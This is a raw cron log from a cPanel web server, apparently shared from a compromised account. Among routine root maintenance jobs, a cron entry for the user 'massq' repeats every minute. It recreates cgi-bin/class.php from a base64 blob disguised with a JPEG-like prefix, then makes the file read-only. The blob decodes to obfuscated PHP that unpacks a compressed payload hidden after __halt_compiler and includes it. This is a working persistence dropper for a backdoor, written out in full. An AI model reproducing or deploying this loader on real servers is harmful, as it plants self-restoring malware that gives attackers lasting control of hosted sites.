Sep 11 15:08:01 server CROND[13958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:08:01 server CROND[13960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:09:01 server CROND[14337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:09:01 server CROND[14339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:09:01 server CROND[14338]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 15:09:01 server CROND[14340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:10:01 server CROND[14743]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:10:01 server CROND[14744]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:10:01 server CROND[14761]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:10:01 server CROND[14763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:10:01 server CROND[14774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:10:01 server CROND[14773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:10:01 server CROND[14768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:10:01 server CROND[14772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:11:01 server CROND[15588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:11:01 server CROND[15589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:11:01 server CROND[15590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:12:01 server CROND[15974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:12:01 server CROND[15975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:12:01 server CROND[15977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:12:01 server CROND[15978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:13:01 server CROND[16348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:13:01 server CROND[16347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:13:01 server CROND[16349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:14:01 server CROND[16822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:14:01 server CROND[16828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:14:01 server CROND[16827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:15:01 server CROND[17285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:15:01 server CROND[17286]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:15:01 server CROND[17291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:15:01 server CROND[17289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:15:01 server CROND[17292]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 15:15:01 server CROND[17290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:15:01 server CROND[17294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:15:01 server CROND[17293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:16:01 server CROND[18175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:16:01 server CROND[18176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:16:01 server CROND[18177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:17:01 server CROND[18554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:17:01 server CROND[18555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:17:01 server CROND[18553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:18:01 server CROND[18995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:18:01 server CROND[18996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:18:01 server CROND[18997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:19:01 server CROND[19470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:19:01 server CROND[19471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:19:01 server CROND[19473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:20:01 server CROND[20027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:20:01 server CROND[20030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:20:01 server CROND[20032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:20:01 server CROND[20061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
